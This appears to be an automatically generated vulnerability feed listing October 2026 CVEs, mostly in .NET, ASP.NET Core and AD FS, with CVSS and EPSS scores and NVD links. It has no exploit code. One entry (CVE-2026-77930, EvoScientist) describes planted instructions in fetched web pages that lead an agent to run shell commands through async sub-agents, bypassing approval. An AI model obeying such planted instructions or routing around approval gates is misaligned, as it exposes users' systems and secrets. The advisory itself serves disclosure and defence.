Inefficient algorithmic complexity in .NET allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96958).
EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96958&date=2026-10-25).
Sources:
NVD CVE-2026-96958: https://nvd.nist.gov/vuln/detail/CVE-2026-96958
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96958
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96958&date=2026-10-25
Inefficient algorithmic complexity in .NET allows an unauthorized attacker to deny service over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper verification of cryptographic signature in .NET allows an unauthorized attacker to bypass a security feature over a network.
https://kevwire.com/record/CVE-2026-96957
Improper verification of cryptographic signature in .NET allows an unauthorized attacker to bypass a security feature over a network. (Oct 13, 2026).
Improper verification of cryptographic signature in .NET allows an unauthorized attacker to bypass a security feature over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96957).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96957&date=2026-10-25).
Sources:
NVD CVE-2026-96957: https://nvd.nist.gov/vuln/detail/CVE-2026-96957
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96957
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96957&date=2026-10-25
Improper verification of cryptographic signature in .NET allows an unauthorized attacker to bypass a security feature over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Inclusion of functionality from untrusted control sphere in .NET allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-96237
Inclusion of functionality from untrusted control sphere in .NET allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Inclusion of functionality from untrusted control sphere in .NET allows an unauthorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96237).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96237&date=2026-10-25).
Sources:
NVD CVE-2026-96237: https://nvd.nist.gov/vuln/detail/CVE-2026-96237
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96237&date=2026-10-25
Inclusion of functionality from untrusted control sphere in .NET allows an unauthorized attacker to execute code over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds write in .NET allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-96235
Out-of-bounds write in .NET allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Out-of-bounds write in .NET allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96235).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96235&date=2026-10-25).
Sources:
NVD CVE-2026-96235: https://nvd.nist.gov/vuln/detail/CVE-2026-96235
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96235&date=2026-10-25
Out-of-bounds write in .NET allows an unauthorized attacker to execute code over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds write in ASP.NET Core allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-96233
Out-of-bounds write in ASP.NET Core allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Out-of-bounds write in ASP.NET Core allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96233).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96233&date=2026-10-25).
Sources:
NVD CVE-2026-96233: https://nvd.nist.gov/vuln/detail/CVE-2026-96233
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96233&date=2026-10-25
Out-of-bounds write in ASP.NET Core allows an unauthorized attacker to deny service over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in .NET allows an unauthorized attacker to disclose information over a network.
https://kevwire.com/record/CVE-2026-96232
Out-of-bounds read in .NET allows an unauthorized attacker to disclose information over a network. (Oct 13, 2026).
Out-of-bounds read in .NET allows an unauthorized attacker to disclose information over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96232).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96232&date=2026-10-25).
Sources:
NVD CVE-2026-96232: https://nvd.nist.gov/vuln/detail/CVE-2026-96232
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96232&date=2026-10-25
Out-of-bounds read in .NET allows an unauthorized attacker to disclose information over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper link resolution before file access ('link following') in .NET allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96231
Improper link resolution before file access ('link following') in .NET allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper link resolution before file access ('link following') in .NET allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96231).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96231&date=2026-10-25).
Sources:
NVD CVE-2026-96231: https://nvd.nist.gov/vuln/detail/CVE-2026-96231
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96231&date=2026-10-25
Improper link resolution before file access ('link following') in .NET allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper neutralization of input during web page generation ('cross-site scripting') in ASP.NET Core allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-96230
Improper neutralization of input during web page generation ('cross-site scripting') in ASP.NET Core allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Improper neutralization of input during web page generation ('cross-site scripting') in ASP.NET Core allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96230).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96230&date=2026-10-25).
Sources:
NVD CVE-2026-96230: https://nvd.nist.gov/vuln/detail/CVE-2026-96230
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96230&date=2026-10-25
Improper neutralization of input during web page generation ('cross-site scripting') in ASP.NET Core allows an unauthorized attacker to execute code over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper link resolution before file access ('link following') in .NET allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96225
Improper link resolution before file access ('link following') in .NET allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper link resolution before file access ('link following') in .NET allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96225).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96225&date=2026-10-25).
Sources:
NVD CVE-2026-96225: https://nvd.nist.gov/vuln/detail/CVE-2026-96225
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96225&date=2026-10-25
Improper link resolution before file access ('link following') in .NET allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds write in .NET allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-96224
Out-of-bounds write in .NET allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Out-of-bounds write in .NET allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96224).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96224&date=2026-10-25).
Sources:
NVD CVE-2026-96224: https://nvd.nist.gov/vuln/detail/CVE-2026-96224
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96224&date=2026-10-25
Out-of-bounds write in .NET allows an unauthorized attacker to execute code over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper certificate validation in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.
https://kevwire.com/record/CVE-2026-96222
Improper certificate validation in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network. (Oct 13, 2026).
Improper certificate validation in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.
CVSS 7.4 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96222).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96222&date=2026-10-25).
Sources:
NVD CVE-2026-96222: https://nvd.nist.gov/vuln/detail/CVE-2026-96222
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96222
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96222&date=2026-10-25
Improper certificate validation in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of untrusted data in .NET allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-87697
Deserialization of untrusted data in .NET allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Deserialization of untrusted data in .NET allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87697).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87697&date=2026-10-25).
Sources:
NVD CVE-2026-87697: https://nvd.nist.gov/vuln/detail/CVE-2026-87697
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87697&date=2026-10-25
Deserialization of untrusted data in .NET allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow or wraparound in .NET Framework allows an unauthorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-85363
Integer overflow or wraparound in .NET Framework allows an unauthorized attacker to elevate privileges over a network. (Oct 13, 2026).
Integer overflow or wraparound in .NET Framework allows an unauthorized attacker to elevate privileges over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85363).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85363&date=2026-10-25).
Sources:
NVD CVE-2026-85363: https://nvd.nist.gov/vuln/detail/CVE-2026-85363
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85363&date=2026-10-25
Integer overflow or wraparound in .NET Framework allows an unauthorized attacker to elevate privileges over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Inefficient algorithmic complexity in .NET allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-84008
Inefficient algorithmic complexity in .NET allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Inefficient algorithmic complexity in .NET allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-84008).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-84008&date=2026-10-25).
Sources:
NVD CVE-2026-84008: https://nvd.nist.gov/vuln/detail/CVE-2026-84008
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-84008&date=2026-10-25
Inefficient algorithmic complexity in .NET allows an unauthorized attacker to deny service over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of untrusted data in .NET allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83520
Deserialization of untrusted data in .NET allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Deserialization of untrusted data in .NET allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83520).
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83520&date=2026-10-25).
Sources:
NVD CVE-2026-83520: https://nvd.nist.gov/vuln/detail/CVE-2026-83520
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83520&date=2026-10-25
Deserialization of untrusted data in .NET allows an unauthorized attacker to execute code over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### EvoScientist 0.1.0 before 0.2.5 contains an approval bypass vulnerability that allows attackers to run host shell commands by delegating them to async sub-agents lacking an...
https://kevwire.com/record/CVE-2026-77930
EvoScientist 0.1.0 before 0.2.5 contains an approval bypass vulnerability that allows attackers to run host shell commands by delegating them to async sub-agents lacking an... (Oct 20, 2026).
EvoScientist 0.1.0 before 0.2.5 contains an approval bypass vulnerability that allows attackers to run host shell commands by delegating them to async sub-agents lacking an interrupt_on gate. Attackers can plant instructions in ingested content such as fetched web pages, so the agent calls start_async_task and runs commands with user privileges and environment secrets.
CVSS 9.3 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77930).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77930&date=2026-10-25).
Sources:
NVD CVE-2026-77930: https://nvd.nist.gov/vuln/detail/CVE-2026-77930
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77930&date=2026-10-25
EvoScientist 0.1.0 before 0.2.5 contains an approval bypass vulnerability that allows attackers to run host shell commands by delegating them to async sub-agents lacking an interrupt_on gate. Attackers can plant instructions in ingested content such as fetched web pages, so the agent calls start_async_task and runs commands with user privileges and environment secrets.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper link resolution before file access ('link following') in .NET allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70190
Improper link resolution before file access ('link following') in .NET allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper link resolution before file access ('link following') in .NET allows an authorized attacker to elevate privileges locally.
CVSS 7.3 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70190).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70190&date=2026-10-25).
Sources:
NVD CVE-2026-70190: https://nvd.nist.gov/vuln/detail/CVE-2026-70190
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70190&date=2026-10-25
Improper link resolution before file access ('link following') in .NET allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Authentication bypass by spoofing in ASP.NET Core allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-70179
Authentication bypass by spoofing in ASP.NET Core allows an authorized attacker to elevate privileges over a network. (Oct 13, 2026).
Authentication bypass by spoofing in ASP.NET Core allows an authorized attacker to elevate privileges over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70179).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70179&date=2026-10-25).
Sources:
NVD CVE-2026-70179: https://nvd.nist.gov/vuln/detail/CVE-2026-70179
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70179&date=2026-10-25
Authentication bypass by spoofing in ASP.NET Core allows an authorized attacker to elevate privileges over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improperly implemented security check for standard in .NET allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70174
Improperly implemented security check for standard in .NET allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Improperly implemented security check for standard in .NET allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70174).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70174&date=2026-10-25).
Sources:
NVD CVE-2026-70174: https://nvd.nist.gov/vuln/detail/CVE-2026-70174
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70174&date=2026-10-25
Improperly implemented security check for standard in .NET allows an unauthorized attacker to execute code over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper limitation of a pathname to a restricted directory ('path traversal') in .NET allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70161
Improper limitation of a pathname to a restricted directory ('path traversal') in .NET allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper limitation of a pathname to a restricted directory ('path traversal') in .NET allows an authorized attacker to elevate privileges locally.
CVSS 7.3 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70161).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70161&date=2026-10-25).
Sources:
NVD CVE-2026-70161: https://nvd.nist.gov/vuln/detail/CVE-2026-70161
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70161&date=2026-10-25
Improper limitation of a pathname to a restricted directory ('path traversal') in .NET allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-70159
Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70159).
EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70159&date=2026-10-25).
Sources:
NVD CVE-2026-70159: https://nvd.nist.gov/vuln/detail/CVE-2026-70159
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70159&date=2026-10-25
Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of untrusted data in .NET Framework allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70035
Deserialization of untrusted data in .NET Framework allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Deserialization of untrusted data in .NET Framework allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70035).
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70035&date=2026-10-25).
Sources:
NVD CVE-2026-70035: https://nvd.nist.gov/vuln/detail/CVE-2026-70035
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70035&date=2026-10-25
Deserialization of untrusted data in .NET Framework allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds write in .NET Framework allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70007
Out-of-bounds write in .NET Framework allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Out-of-bounds write in .NET Framework allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70007).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70007&date=2026-10-25).
Sources:
NVD CVE-2026-70007: https://nvd.nist.gov/vuln/detail/CVE-2026-70007
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70007&date=2026-10-25
Out-of-bounds write in .NET Framework allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Inefficient algorithmic complexity in .NET allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-69651
Inefficient algorithmic complexity in .NET allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Inefficient algorithmic complexity in .NET allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69651).
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69651&date=2026-10-25).
Sources:
NVD CVE-2026-69651: https://nvd.nist.gov/vuln/detail/CVE-2026-69651
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69651&date=2026-10-25
Inefficient algorithmic complexity in .NET allows an unauthorized attacker to deny service over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
